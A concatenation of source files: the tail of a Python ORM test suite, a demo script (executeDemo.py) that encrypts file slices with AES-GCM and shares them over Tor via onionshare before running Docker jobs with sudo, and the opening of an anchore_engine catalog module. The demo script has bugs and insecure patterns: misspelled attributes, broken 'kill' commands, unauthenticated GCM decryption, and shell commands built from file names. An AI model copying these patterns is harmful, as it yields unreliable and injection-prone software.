f1='a', f2='a', f3='b') test_db.rollback() self.assertRaises(Exception, MultiIndexModel.create, f1='b', f2='b', f3='a') test_db.rollback() mi3 = MultiIndexModel.create(f1='a', f2='b', f3='b') class ModelTablesTestCase(BaseModelTestCase): def test_tables_created(self): tables = test_db.get_tables() should_be = [ 'blog', 'entry', 'entrytag', 'member', 'membership', 'relationship', 'team', 'users' ] for table in should_be: self.assertTrue(table in tables) def test_create_and_drop_table(self): self.assertTrue(EntryTag._meta.db_table in test_db.get_tables()) # no exception should be raised here EntryTag.create_table(fail_silently=True) EntryTag.drop_table() self.assertFalse(EntryTag._meta.db_table in test_db.get_tables()) # no exception should be raised here EntryTag.drop_table(fail_silently=True) EntryTag.create_table() self.assertTrue(EntryTag._meta.db_table in test_db.get_tables()) def test_cascade_on_delete(self): if BACKEND == 'sqlite': test_db.execute('pragma foreign_keys = ON;') b1 = Blog.create(title='b1') b2 = Blog.create(title='b2') for b in [b1, b2]: for i in range(3): Entry.create(blog=b, title='e') self.assertEqual(Entry.select().count(), 6) b1.delete_instance() self.assertEqual(Entry.select().count(), 3) self.assertEqual(Entry.filter(blog=b1).count(), 0) self.assertEqual(Entry.filter(blog=b2).count(), 3) class ModelOptionsTest(BaseModelTestCase): def test_model_meta(self): self.assertEqual(Blog._meta.get_field_names(), ['id', 'title']) self.assertEqual(Entry._meta.get_field_names(), ['pk', 'title', 'content', 'pub_date', 'blog']) sorted_fields = list(Entry._meta.get_sorted_fields()) self.assertEqual(sorted_fields, [ ('pk', Entry._meta.fields['pk']), ('title', Entry._meta.fields['title']), ('content', Entry._meta.fields['content']), ('pub_date', Entry._meta.fields['pub_date']), ('blog', Entry._meta.fields['blog']), ]) sorted_fields = list(Blog._meta.get_sorted_fields()) self.assertEqual(sorted_fields, [ ('id', Blog._meta.fields['id']), ('title', Blog._meta.fields['title']), ]) def test_db_table(self): self.assertEqual(User._meta.db_table, 'users') class Foo(TestModel): pass self.assertEqual(Foo._meta.db_table, 'foo') class Foo2(TestModel): pass self.assertEqual(Foo2._meta.db_table, 'foo2') class Foo_3(TestModel): pass self.assertEqual(Foo_3._meta.db_table, 'foo_3') def test_ordering(self): self.assertEqual(User._meta.ordering, None) self.assertEqual(OrderedModel._meta.ordering, (('created', 'desc'),)) def test_option_inheritance(self): x_test_db = Database(SqliteAdapter(), 'testing.db') child2_db = Database(SqliteAdapter(), 'child2.db') class FakeUser(Model): pass class ParentModel(Model): title = CharField() user = ForeignKeyField(FakeUser) class Meta: database = x_test_db class ChildModel(ParentModel): pass class ChildModel2(ParentModel): special_field = CharField() class Meta: database = child2_db class GrandChildModel(ChildModel): pass class GrandChildModel2(ChildModel2): special_field = TextField() self.assertEqual(ParentModel._meta.database.database, 'testing.db') self.assertEqual(ParentModel._meta.model_class, ParentModel) self.assertEqual(ChildModel._meta.database.database, 'testing.db') self.assertEqual(ChildModel._meta.model_class, ChildModel) self.assertEqual(sorted(ChildModel._meta.fields.keys()), [ 'id', 'title', 'user' ]) self.assertEqual(ChildModel2._meta.database.database, 'child2.db') self.assertEqual(ChildModel2._meta.model_class, ChildModel2) self.assertEqual(sorted(ChildModel2._meta.fields.keys()), [ 'id', 'special_field', 'title', 'user' ]) self.assertEqual(GrandChildModel._meta.database.database, 'testing.db') self.assertEqual(GrandChildModel._meta.model_class, GrandChildModel) self.assertEqual(sorted(GrandChildModel._meta.fields.keys()), [ 'id', 'title', 'user' ]) self.assertEqual(GrandChildModel2._meta.database.database, 'child2.db') self.assertEqual(GrandChildModel2._meta.model_class, GrandChildModel2) self.assertEqual(sorted(GrandChildModel2._meta.fields.keys()), [ 'id', 'special_field', 'title', 'user' ]) self.assertTrue(isinstance(GrandChildModel2._meta.fields['special_field'], TextField)) def test_deferred_database(self): deferred_db = SqliteDatabase(None) self.assertTrue(deferred_db.deferred) class DeferredModel(Model): class Meta: database = deferred_db self.assertRaises(Exception, deferred_db.connect) sq = DeferredModel.select() self.assertRaises(Exception, sq.execute) deferred_db.init(':memory:') self.assertFalse(deferred_db.deferred) # connecting works conn = deferred_db.connect() DeferredModel.create_table() sq = DeferredModel.select() self.assertEqual(list(sq), []) deferred_db.init(None) self.assertTrue(deferred_db.deferred) class ModelInheritanceTestCase(BaseModelTestCase): def setUp(self): super(ModelInheritanceTestCase, self).setUp() EntryTwo.drop_table(True) EntryTwo.create_table() def tearDown(self): EntryTwo.drop_table(True) def test_model_inheritance(self): self.assertFalse(EntryTwo._meta.db_table == Entry._meta.db_table) b = Blog.create(title='b') e = Entry.create(title='e', blog=b) e2 = EntryTwo.create(title='e2', extra_field='foo', blog=b) self.assertEqual(list(b.entry_set), [e]) self.assertEqual(list(b.entrytwo_set), [e2]) self.assertEqual(Entry.select().count(), 1) self.assertEqual(EntryTwo.select().count(), 1) e_from_db = Entry.get(pk=e.pk) e2_from_db = EntryTwo.get(id=e2.id) self.assertEqual(e_from_db.blog, b) self.assertEqual(e2_from_db.blog, b) self.assertEqual(e2_from_db.extra_field, 'foo') class ConcurrencyTestCase(BaseModelTestCase): def setUp(self): self._orig_db = test_db Blog._meta.database = database_class(database_name, threadlocals=True) BaseModelTestCase.setUp(self) def tearDown(self): Blog._meta.database = self._orig_db BaseModelTestCase.tearDown(self) def test_multiple_writers(self): def create_blog_thread(low, hi): for i in range(low, hi): Blog.create(title='test-%d' % i) Blog._meta.database.close() threads = [] for i in range(5): threads.append(threading.Thread(target=create_blog_thread, args=(i*10, i * 10 + 10))) [t.start() for t in threads] [t.join() for t in threads] self.assertEqual(Blog.select().count(), 50) def test_multiple_readers(self): data_queue = Queue.Queue() def reader_thread(q, num): for i in range(num): data_queue.put(Blog.select().count()) threads = [] for i in range(5): threads.append(threading.Thread(target=reader_thread, args=(data_queue, 20))) [t.start() for t in threads] [t.join() for t in threads] self.assertEqual(data_queue.qsize(), 100) class TransactionTestCase(BaseModelTestCase): def tearDown(self): super(TransactionTestCase, self).tearDown() test_db.set_autocommit(True) def test_autocommit(self): test_db.set_autocommit(False) b = Blog.create(title='b1') b2 = Blog.create(title='b2') # open up a new connection to the database, it won't register any blogs # as being created new_db = database_class(database_name) res = new_db.execute('select count(*) from blog;') self.assertEqual(res.fetchone()[0], 0) # commit our blog inserts test_db.commit() # now the blogs are query-able from another connection res = new_db.execute('select count(*) from blog;') self.assertEqual(res.fetchone()[0], 2) def test_commit_on_success(self): self.assertTrue(test_db.get_autocommit()) @test_db.commit_on_success def will_fail(): b = Blog.create(title='b1') e = Entry.create() # no blog, will raise an error return b, e self.assertRaises(Exception, will_fail) self.assertEqual(Blog.select().count(), 0) self.assertEqual(Entry.select().count(), 0) @test_db.commit_on_success def will_succeed(): b = Blog.create(title='b1') e = Entry.create(title='e1', content='e1', blog=b) return b, e b, e = will_succeed() self.assertEqual(Blog.select().count(), 1) self.assertEqual(Entry.select().count(), 1) def test_context_mgr(self): def will_fail(): b = Blog.create(title='b1') e = Entry.create() # no blog, will raise an error return b, e def do_will_fail(): with transaction(test_db): will_fail() def do_will_fail2(): with test_db.transaction(): will_fail() self.assertRaises(Exception, do_will_fail) self.assertEqual(Blog.select().count(), 0) self.assertRaises(Exception, do_will_fail2) self.assertEqual(Blog.select().count(), 0) def will_succeed(): b = Blog.create(title='b1') e = Entry.create(title='e1', content='e1', blog=b) return b, e def do_will_succeed(): with transaction(test_db): will_succeed() def do_will_succeed2(): with test_db.transaction(): will_succeed() do_will_succeed() self.assertEqual(Blog.select().count(), 1) self.assertEqual(Entry.select().count(), 1) do_will_succeed2() self.assertEqual(Blog.select().count(), 2) self.assertEqual(Entry.select().count(), 2) class ConnectionStateTestCase(BasePeeweeTestCase): def test_connection_state(self): conn = test_db.get_conn() self.assertFalse(test_db.is_closed()) test_db.close() self.assertTrue(test_db.is_closed()) conn = test_db.get_conn() self.assertFalse(test_db.is_closed()) if test_db.adapter.for_update_support: class ForUpdateTestCase(BaseModelTestCase): def tearDown(self): test_db.set_autocommit(True) def test_for_update(self): # create 3 blogs b1 = Blog.create(title='b1') b2 = Blog.create(title='b2') b3 = Blog.create(title='b3') test_db.set_autocommit(False) # select a blog for update blogs = Blog.select().where(title='b1').for_update() updated = Blog.update(title='b1_edited').where(title='b1').execute() self.assertEqual(updated, 1) # open up a new connection to the database new_db = database_class(database_name) # select the title, it will not register as being updated res = new_db.execute('select title from blog where id = %s;' % b1.id) blog_title = res.fetchone()[0] self.assertEqual(blog_title, 'b1') # committing will cause the lock to be released test_db.commit() # now we get the update res = new_db.execute('select title from blog where id = %s;' % b1.id) blog_title = res.fetchone()[0] self.assertEqual(blog_title, 'b1_edited') else: if TEST_VERBOSITY > 0: print 'Skipping for update tests because backend does not support' if test_db.adapter.sequence_support: class SequenceTestCase(BaseModelTestCase): def setUp(self): super(SequenceTestCase, self).setUp() self.safe_drop() SeqModelA.create_table() SeqModelB.create_table() def safe_drop(self): SeqModelA.drop_table(True) SeqModelB.drop_table(True) self.sequence = SeqModelBase._meta.pk_sequence if test_db.sequence_exists(self.sequence): test_db.drop_sequence(self.sequence) def tearDown(self): super(SequenceTestCase, self).tearDown() self.safe_drop() def test_sequence_shared(self): a1 = SeqModelA.create(num=1) a2 = SeqModelA.create(num=2) b1 = SeqModelB.create(other_num=101) b2 = SeqModelB.create(other_num=102) a3 = SeqModelA.create(num=3) self.assertEqual(a1.id, a2.id - 1) self.assertEqual(a2.id, b1.id - 1) self.assertEqual(b1.id, b2.id - 1) self.assertEqual(b2.id, a3.id - 1) else: if TEST_VERBOSITY > 0: print 'Skipping sequence tests because backend does not support' class TopologicalSortTestCase(unittest.TestCase): def test_topological_sort_fundamentals(self): FKF = ForeignKeyField # we will be topo-sorting the following models class A(Model): pass class B(Model): a = FKF(A) # must follow A class C(Model): a, b = FKF(A), FKF(B) # must follow A and B class D(Model): c = FKF(C) # must follow A and B and C class E(Model): e = FKF('self') # but excluding this model, which is a child of E class Excluded(Model): e = FKF(E) # property 1: output ordering must not depend upon input order repeatable_ordering = None for input_ordering in permutations([A, B, C, D, E]): output_ordering = sort_models_topologically(input_ordering) repeatable_ordering = repeatable_ordering or output_ordering self.assertEqual(repeatable_ordering, output_ordering) # property 2: output ordering must have same models as input self.assertEqual(len(output_ordering), 5) self.assertFalse(Excluded in output_ordering) # property 3: parents must precede children def assert_precedes(X, Y): lhs, rhs = map(output_ordering.index, [X, Y]) self.assertTrue(lhs < rhs) assert_precedes(A, B) assert_precedes(B, C) # if true, C follows A by transitivity assert_precedes(C, D) # if true, D follows A and B by transitivity # property 4: independent model hierarchies must be in name order assert_precedes(A, E) def permutations(xs): if not xs: yield [] else: for y, ys in selections(xs): for pys in permutations(ys): yield [y] + pys def selections(xs): for i in xrange(len(xs)): yield (xs[i], xs[:i] + xs[i + 1:])
executeDemo.py
#This is a version of execute.py intended for demo purposes. #Normally, when running the program there are 3 file transfers: #1. User task file to provider (1.2GB image.zip) #2. Provider result file to validator (already ran image) #3. Provider result file to user #This version of execute will skip the first two file transfers. #The last one is left in to demonstrate the file transfer and that the user receives the file. #Note that the regular user execute.py will work for this goal. #For this to work, the provider must already have the task file (1.2GB) in their directory, # and the validator must already have the result file in their directory. import os import sys import requests as r import time import json from signal import signal, SIGINT import threading from datetime import datetime import math import subprocess import multiprocessing from multiprocessing import Manager, Value from ctypes import c_char_p from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend ##globals## threads = 8 threadL = [] orderAddr = [] order = [] startTimes = [] mainThread = None manager = Manager() totalAddr = manager.Value(c_char_p, '') totalStartTime = Value('d', 0.0) content = [] for i in range(threads): content.append(b'')#inits list with threads number of empty byte arrays mode = '' #user, provider, or validator fileName = '' encKey = None encNonce = None ####################################################################################################################################### #######################################################encryption###################################################################### ####################################################################################################################################### def genKey(): keyFile = "key.txt" nonceFile = "nonce.txt" f = open(keyFile, 'w') f.close() f = open(nonceFile, 'w') f.close() key = os.urandom(32) nonce = os.urandom(32) f = open(keyFile, 'wb') f.write(key) f.close() f = open(nonceFile, 'wb') f.write(nonce) f.close() def getKey(keyFile="", nonceFile=""): f = open(keyFile, 'rb') key = f.read() f.close() f = open(nonceFile, 'rb') nonce = f.read() f.close() return [key, nonce] def enc(key=b"", nonce=b"", mess=b""): alg = algorithms.AES(key) cipher = Cipher(alg, modes.GCM(nonce), default_backend()) encryptor = cipher.encryptor() return encryptor.update(mess) def dec(key=b"", nonce=b"", mess=b""): alg = algorithms.AES(key) cipher = Cipher(alg, modes.GCM(nonce), default_backend()) decryptor = cipher.decryptor() return decryptor.update(mess) genKey() ####################################################################################################################################### ###########################################################host######################################################################## ####################################################################################################################################### def shareOrder(): global totalStartTime while os.path.isfile('totalOrder.txt') != True: time.sleep(5) totalStartTime.value = time.time() ######zip the total order, key, and nonce to share######### os.system('zip totalOrder.zip totalOrder.txt key.txt nonce.txt >/dev/null 2>&1') time.sleep(5) ########################################################### subprocess.Popen(["script -c \"../../../onionshare/dev_scripts/onionshare --website totalOrder.zip" + "\" -f onionshareOrder.txt"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,shell=True) def startShare(file, iter): #print(file + ":" + str(iter)) #start onionshare server to host file subprocess.Popen(["script -c \"../../../onionshare/dev_scripts/onionshare --website " + file + "\" -f onionshare" + str(iter) + ".txt"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL,shell=True) def splitFile(file): fileName = file f = open(file,'rb') content = f.read() contentLen = len(content) pos = 0 #print(lines) for i in range(0, threads): fw = open(file+str(i)+'.txt' ,'wb') lo = int((i)*(contentLen/threads)) hi = int((i+1)*(contentLen/threads)) fw.write(content[lo:hi]) fw.close() order.append(file+str(i)+'.txt\n') keyFile = open("key.txt", 'rb') key = keyFile.read() keyFile.close() nonceFile = open("nonce.txt", "rb") nonce = nonceFile.read() nonceFile.close() fenc = open(file+str(i)+'.txt', "rb") hold = enc(key, nonce, fenc.read()) fenc.close() fenc = open(file + str(i) + ".txt", "w") fenc.close fenc = open(file+str(i)+".txt", "wb") fenc.write(hold) fenc.close() f.close() f = open('order.txt', 'w') f.writelines(order) f.close() def createThreadsHost(): f = open("order.txt" , 'r') orderFile = f.readlines() f.close() j = 0 for i in orderFile: #t=threading.Thread(target=startShare,args=[i.strip('\n'),j]) t=multiprocessing.Process(target=startShare,args=(i.strip('\n'),j,)) threadL.append(t) j += 1 def runThreads(): for i in threadL: i.daemon = True i.start() startTimes.append(time.time()) #print(startTimes) def getAddrs(): #for i in range(0,threads): #orderAddr.append(0) t = 0 while t < threads: global orderAddr t = 0 for i in orderAddr: if i != 0: t +=1 for i in range(0,threads): if os.path.isfile('onionshare'+str(i)+'.txt'): f = open('onionshare'+str(i)+'.txt', 'r') lines = f.readlines() f.close() for j in lines: if (j.find("http://onionshare") >= 0): #found address orderAddr[i] = j.strip('\n') + "/" + order[i].strip('\n') print(orderAddr) time.sleep(5) print(orderAddr) f = open('totalOrder.txt', 'w') for i in orderAddr: f.write(i + '\n') f.close() def getTotalAddr(): global totalAddr flag = True while(flag): if os.path.isfile('onionshareOrder.txt'): f = open('onionshareOrder.txt', 'r') lines = f.readlines() f.close() for j in lines: if (j.find("http://onionshare") >= 0): #found address totalAddr.value = j.strip('\n') + "/totalOrder.zip" flag = False time.sleep(5) #Write address to file f = open('totalOrderAddress.txt', 'w') f.write(totalAddr.value) f.close() def threadRestarter(): #for i in range(0,threads): #orderAddr.append(0) global orderAddr while(True): #global orderAddr #print("addrs:"+ str(orderAddr)) try: for i in range(0,len(startTimes)): global orderAddr if time.time() > startTimes[i] + 120 and orderAddr[i] == 0: os.system('rm onionshare' + str(i) + '.txt') #threadL[i]._delete() threadL[i].terminate() f = open("order.txt" , 'r') lines = f.readlines() f.close() #t=threading.Thread(target=startShare,args=[lines[i].strip('\n'),i]) t=multiprocessing.Process(target=startShare,args=(lines[i].strip('\n'),i,)) t.daemon = True threadL[i] = t threadL[i].start() holdVal = startTimes[i] startTimes[i] = time.time() f = open('restart.txt', 'a') f.write("thread:" + str(i) + ' has been restarted at:' + str(time.time()) + ' due to time issue. It started at:'+str(holdVal)+' and should end at:'+str(holdVal+120)+' and addr:'+ str(orderAddr[i])+'\n') f.close() for i in range(0,threads): if os.path.isfile('onionshare' + str(i) + '.txt' ): f = open('onionshare' + str(i) + '.txt' ) lines = f.readlines() for line in lines: if line.find('in use') >= 0: os.system('rm onionshare' + str(i) + '.txt') #threadL[i]._delete() threadL[i].terminate() f = open("order.txt" , 'r') lines = f.readlines() f.close() #t=threading.Thread(target=startShare,args=[lines[i].strip('\n'),i]) t=multiprocessing.Process(target=startShare,args=(lines[i].strip('\n'),i,)) t.daemon = True threadL[i] = t threadL[i].start() startTimes[i] = time.time() f = open('restart.txt', 'a') f.write("thread:" + str(i) + ' has been restarted at:' + str(time.time()) + ' due to address error\n') f.close() t = 0 for i in orderAddr: if i != 0: t +=1 for i in range(0,threads): if os.path.isfile('onionshare'+str(i)+'.txt') and orderAddr[i] == 0: f = open('onionshare'+str(i)+'.txt', 'r') lines = f.readlines() f.close() for j in lines: if (j.find("http://onionshare") >= 0): #found address orderAddr[i] = j.strip('\n') + "/" + order[i].strip('\n') if t == threads: f = open('totalOrder.txt', 'w') for i in orderAddr: f.write(i + '\n') f.close() except: pass #Print a string with each file's percentage toprint = "" for i in range(threads): try: #Will fail if index not found, then just ignore f = open('onionshare'+str(i)+'.txt', 'r') #Get string of percentage for file slice wholetext = f.read() f.close() percentindex = wholetext.rindex("%") #Finds the position of the last percent spaceindex = wholetext.rindex(" ", 0, percentindex) #Finds the position of the last space before the percent percentage = wholetext[spaceindex+1:percentindex+1] #Skips the space but includes the percent toprint += str(i) + ": " + percentage + ("" if i == threads-1 else ", ") #Formats string except: pass print(toprint + "\r", end="") #recurrent character so it rewrites last line instead of making new lines time.sleep(5) def hostReqFail(): subprocess.Popen(["script -c \"~/onionshare/dev_scripts/onionshare --website reqFails.txt" + "\" -f reqFailLog.txt"],stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True) def reqFail(): #failThread = threading.Thread(target=hostReqFail) failThread = multiprocessing.Process(target=hostReqFail) threadOn = False global threads reqMade = [0]*threads callSum = 0 while True: time.sleep(120) for i in range(0,threads): if os.path.isfile('onionshare' + str(i) + '.txt'): f = open('onionshare' + str(i) + '.txt') lines = f.readlines() f.close() for line in lines: if reqMade[i] == 0 and line.find('get') >= 0: reqMade[i] = 1 callSum += 1 if callSum >= (threads/2) and callSum != threads: f = open('reqFails.txt', 'w') for i in range(0,threads): if reqMade[i] == 0: f.write(str(i)+'\n') if threadOn: #failThread._delete() failThread.terminate() #failThread = threading.Thread(target=hostReqFail) failThread = multiprocessing.Process(target=hostReqFail) failThread.daemon = True failThread.start() threadOn = True else: failThread.start() threadOn = True if callSum == threads: #failThread._delete() failThread.terminate() threadOn = False ################################################################################################################# ################################################################################################################# ################################################################################################################# def totalThreadRestarter(): global totalStartTime global totalAddr global mainThread mainThread = multiprocessing.Process(target=shareOrder) mainThread.daemon = True mainThread.start() while (True): if (totalStartTime.value != 0.0) and time.time() > (totalStartTime.value + 60) and totalAddr.value == '': os.system('rm onionshareOrder.txt >/dev/null 2>&1') #restart thread #mainThread._delete() mainThread.terminate() #t = threading.Thread(target=shareOrder) t = multiprocessing.Process(target=shareOrder) t.daemon = True mainThread = t mainThread.start() f = open('restart.txt', 'a') f.write("thread: for totalOrder has been restarted at:" + str(time.time()) + ' due to time issue\n') f.close() time.sleep(5) def resetHost(resetMode): global threadL global orderAddr global order global startTimes global totalStartTime global mode global fileName global totalAddr for i in threadL: try: #May or may not already be deleted #i._delete() i.terminate() except: pass threadL = [] orderAddr = [] order = [] startTimes = [] totalStartTime.value = 0.0 if resetMode == True: mode = '' totalAddr.value = '' try: os.system('rm restart.txt totalOrderAddress.txt totalOrder.txt onionShareOrder.txt onionshare*.txt order.txt image.zip*.txt >/dev/null 2>&1') except: pass fileName = '' #new memory and command line reset os.system("reset") os.system("ps aux > ps.txt") f = open("ps.txt", 'r') line = f.readline() while line != '': if line.find('onionshare') != -1: try: os.system('kill -9' + line.split()[1] + ' >/dev/null 2>&1') except: pass line = f.readline() f.close() try: os.system('rm ps.txt') except: pass def failingCheck(): global threadL while True: time.sleep(120) positions = [] try: session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' fails = session.get(totalAddr.value + '/reqFails.txt') f = open('reqFails.txt', 'wb').write(fails.contetn) f.close() f = open('reqFails.txt', 'r') lines = f.readlines() f.close() for line in lines: positions.append(int(line).rstrip()) f = open('totalOrder.txt', 'r') lines = f.readlines() for pos in positions: #threadL[pos]._delete() threadL[pos].terminate() #threadL[pos] = threading.Thread(target=getShare,args=[lines[pos].rstrip(),pos]) threadL[pos] = multiprocessing.Process(target=getShare,args=(lines[pos].rstrip(),pos,)) threadL[pos].daemon = True threadL[pos].start() except: pass ####################################################################################################################################### ########################################################request######################################################################## ####################################################################################################################################### def getShare(address, iter): global content session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' res = session.get(address) #download file #content[iter] = res.content #append this slice's content to total content list ########################get key and nonce################################## [key, nonce] = getKey("key.txt","nonce.txt") ########################################################################### f = open("image.zip" + str(iter) + ".txt","wb" ) f.write(dec(key, nonce, res.content)) f.close() #print(type("-----Received content from thread " + iter)) #for i in range(threads): # print(len(content[i])) #This thread unneeded now, can safely kill it killMe(iter) def getShareWithoutIter(address): session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' res = session.get(address) #download file #########save the zip and unzip it######### open("totalOrder.zip", 'wb').write(res.content) time.sleep(5) os.system("unzip -o totalOrder.zip") ########################################### def createThreadsReq(): global totalAddr global content global mode flag = True flagTwo = True flagThree = True #Most things here removed since they're just various steps in waiting for the file to be done transferring while flag: time.sleep(5) #Addresses written to file (Step 2) # if os.path.isfile("totalOrder.txt") and flagTwo: # print("Downloading file from host. This may take a while...") # flagTwo = False # #Need to make a thread for each address # f = open("totalOrder.txt", 'r') # lines = f.readlines() # f.close() # j = 0 # for line in lines: # #t = threading.Thread(target=getShare,args=[line.strip('\n'), j]) # t = multiprocessing.Process(target=getShare,args=(line.strip('\n'), j,)) # threadL.append(t) # t.start() # j += 1 # #Every slot in content has been written to (Step 3) # allVal = True # for i in range(0,threads): # if os.path.isfile("image.zip" + str(i) + ".txt"): # content[i] = True # else: # allVal = False # break # if allVal: # if mode == 'user' or mode == 'provider': # session = r.session() # session.proxies = {} # session.proxies['http'] = 'socks5h://localhost:9050' # session.proxies['https'] = 'socks5h://localhost:9050' # session.get(totalAddr.value + '/finish') #tell server finished downloading # totalFile = open('image.zip', 'wb') # for i in range(0, threads): # iterFile = open('image.zip' + str(i) + '.txt', 'rb') # totalFile.write(iterFile.read()) # iterFile.close() # totalFile.close() # flag = False # resetReq() #totalOrder.txt not yet received (Step 1) if flagThree: statF = open("stat.txt", 'r') totalAddr.value = statF.readline().rstrip() statF.close() #if file ready to be received from worker. totalAddr will hold the .onion address if totalAddr.value != '' and totalAddr.value != 'Executing' and totalAddr.value != 'Ready': flagThree = False #getShareWithoutIter(totalAddr) #Still need to get this to get key and nonce flag = False #This will cause loop to exit and image.zip to start running #Tell user program to stop if mode == 'provider': session = r.session() session.proxies = {} session.proxies['http'] = 'socks5h://localhost:9050' session.proxies['https'] = 'socks5h://localhost:9050' session.get(totalAddr.value + '/finish') #tell server finished downloading def resetReq(): global content global threadL global mode global mainThread global totalAddr content = [] for i in range(threads): content.append(False) #content.append(b'')#inits list with threads number of empty byte arrays #kill all threads before resetting for i in threadL: try: #May or may not already be deleted #i._delete() i.terminate() except: pass threadL = [] mainThread = None totalAddr.value = '' mode = '' try: os.system('rm totalOrder.txt onionShareOrder.txt image.zip*.txt') except: pass #new memory and command line reset os.system("reset") os.system("ps aux > ps.txt") f = open("ps.txt", 'r') line = f.readline() while line != '': if line.find('onionshare') != -1: try: os.system('kill ' + line.split()[1]) except: pass line = f.readline() f.close() f = open('stat.txt', 'w') f.close() try: os.system('rm ps.txt') except: pass #kill specified thread def killMe(iter): #threadL[iter]._delete() try: threadL[iter].terminate() except: pass ####################################################################################################################################### #####################################################controller######################################################################## ####################################################################################################################################### def getTime(mess): now = datetime.now() end = open('log.txt', 'r').readline().rstrip()[24:] #print(now.strftime("%a %b %d %Y %H:%M:%S" + end)) time = now.strftime("%a %b %d %Y %H:%M:%S" + end) f = open('log.txt', 'a') f.write('\n' + time + " "+ mess) f.close() def hostController(file): global totalAddr totalAddr.value = '' #Reset totalAddr for total thread restarter genKey() for i in range(0,threads): orderAddr.append(0) splitFile(file) createThreadsHost() runThreads() errCorr = multiprocessing.Process(target=threadRestarter) #errCorr.daemon = True #demonic processes can't have children errCorr.start() #getAddrs() #failThread = threading.Thread(target=reqFail) failThread = multiprocessing.Process(target=reqFail) failThread.daemon = True failThread.start() global mainThread #Restarter for total share #errCorrMain = threading.Thread(target=totalThreadRestarter) errCorrMain = multiprocessing.Process(target=totalThreadRestarter) #errCorrMain.daemon = True #demonic processes can't have children errCorrMain.start() getTotalAddr() flag = True while flag: if os.path.isfile('onionshareOrder.txt'): f = open('onionshareOrder.txt', 'r') line = f.readline() while line != '': if "/finish" in line : flag = False try: #May or may not already be deleted errCorr.terminate() except: pass try: #May or may not already be deleted errCorrMain.terminate() except: pass try: #May or may not already be deleted mainThread.terminate() except: pass line = f.readline() f.close() try: #May or may not already be deleted failThread.terminate() except: pass resetHost(True) def reqController(): #failThread = threading.Thread(target=failingCheck) failThread = multiprocessing.Process(target=failingCheck) failThread.daemon = True failThread.start() createThreadsReq() try: #May or may not already be deleted #failThread._delete() failThread.terminate() except: pass def dockerExe(): global mode #time.sleep(30) #not needed for demo f = open('stat.txt', 'w') f.close() f = open('stat.txt', 'w') f.write('Executing') f.close() #this will load the image back into docker os.system("unzip image.zip") os.system("sudo docker load -i image.tgz") #this will start the container in a bash os.system("sudo docker run -dit execute:latest bash") getTime('Docker Image Loaded and Executing') #this will execute the code #0 -> Provider #1 -> Validator mval = 0 if mode == 'validator': mval = 1 os.system("sudo docker exec $(sudo docker container ls -q) python3 execute.py " + str(mval) ) #this will delete the old image file os.system("sudo rm -rf image.tgz") #this will update the container os.system("sudo docker commit $(sudo docker container ls -q) execute:latest") getTime("Execution Finished") #this will remove the image to be transmitted to the next step os.system("sudo docker save execute -o image.tgz") #zip the image os.system('sudo zip -0 image.zip image.tgz') #this will stop the docker image os.system("sudo docker stop $(sudo docker container ls -q)") getTime('Image Unloaded and Ready For Transmission') time.sleep(30) def getMode(): global mode flag = True while flag: time.sleep(5) if os.path.isfile('mode.txt'): f = open("mode.txt", "r") curLine = f.readline().rstrip() f.close() if(curLine == "provider" or curLine == 'validator' or curLine == "user"): mode = curLine flag = False f = open('mode.txt', 'w') f.close() def submitTask(): f = open('stat.txt', 'w') f.close() f = open('stat.txt', 'w') f.write('Ready') f.close() if __name__ == '__main__': f = open('mode.txt', 'w') #make sure mode is cleared on startup f.close() while True: getMode() if mode == 'user': hostController('image.zip') flag = True while flag: f = open('stat.txt', 'r') line = f.read() f.close() if line.find('onionshare') != -1: flag = False time.sleep(5) reqController() elif mode == 'provider': resetHost(False) reqController() dockerExe() submitTask() try: os.system("rm -rf totalOrder.txt totalOrder.zip") except: pass hostController('image.zip') elif mode == 'validator': resetHost(False) reqController() dockerExe() try: os.system("rm -rf totalOrder.txt totalOrder.zip") except: pass submitTask()
__init__.py
import json import os import copy import threading import time import pkg_resources # anchore modules import anchore_engine.clients.anchoreio import anchore_engine.common.helpers import anchore_engine.common.images from anchore_engine.clients.services import internal_client_for from anchore_engine.clients.services import simplequeue from anchore_engine.clients.services.simplequeue import SimpleQueueClient from anchore_engine.clients.services.policy_engine import PolicyEngineClient import anchore_engine.configuration.localconfig import anchore_engine.subsys.servicestatus import anchore_engine.subsys.metrics import anchore_engine.common import anchore_engine.clients.services.common from anchore_engine.clients import docker_registry from anchore_engine import db from anchore_engine.db import db_catalog_image, db_policybundle, db_queues, db_registries, db_subscriptions, \ db_accounts, \ db_anchore, db_services, db_events, AccountStates, AccountTypes from anchore_engine.subsys import notifications, taskstate, logger, archive from anchore_engine.services.catalog import catalog_impl import anchore_engine.subsys.events as events from anchore_engine.utils import AnchoreException from anchore_engine.services.catalog.exceptions import TagManifestParseError, TagManifestNotFoundError, PolicyBundleValidationError from anchore_engine.service import ApiService, LifeCycleStages from anchore_engine.common.helpers import make_policy_record from anchore_engine.subsys.identities import manager_factory ########################################################## # monitor section def do_user_resources_delete(userId): return_object = {} httpcode = 500 resourcemaps = [ ("subscriptions", db.db_subscriptions.get_all_byuserId, catalog_impl.do_subscription_delete), ("registries", db.db_registries.get_byuserId, catalog_impl.do_registry_delete), ("evaluations", db.db_policyeval.get_all_byuserId, catalog_impl.do_evaluation_delete), ("policybundles", db.db_policybundle.get_all_byuserId, catalog_impl.do_policy_delete), ("images", db.db_catalog_image.get_all_byuserId, catalog_impl.do_image_delete), ("archive", db.db_archivemetadata.list_all_byuserId, catalog_impl.do_archive_delete), ] limit = 2048 all_total = 0 all_deleted = 0 for resourcename,getfunc,delfunc in resourcemaps: try: deleted = 0 total = 0 with db.session_scope() as dbsession: records = getfunc(userId, session=dbsession, limit=limit) total = len(records) for record in records: delfunc(userId, record, dbsession, force=True) deleted = deleted + 1 return_object['total_{}'.format(resourcename)] = total return_object['total_{}_deleted'.format(resourcename)] = deleted all_total = all_total + total all_deleted = all_deleted + deleted if total or deleted: logger.debug("deleted {} / {} {} records for user {}".format(deleted, total, resourcename, userId)) except Exception as err: logger.warn("failed to delete resources in {} for user {}, will continue and try again - 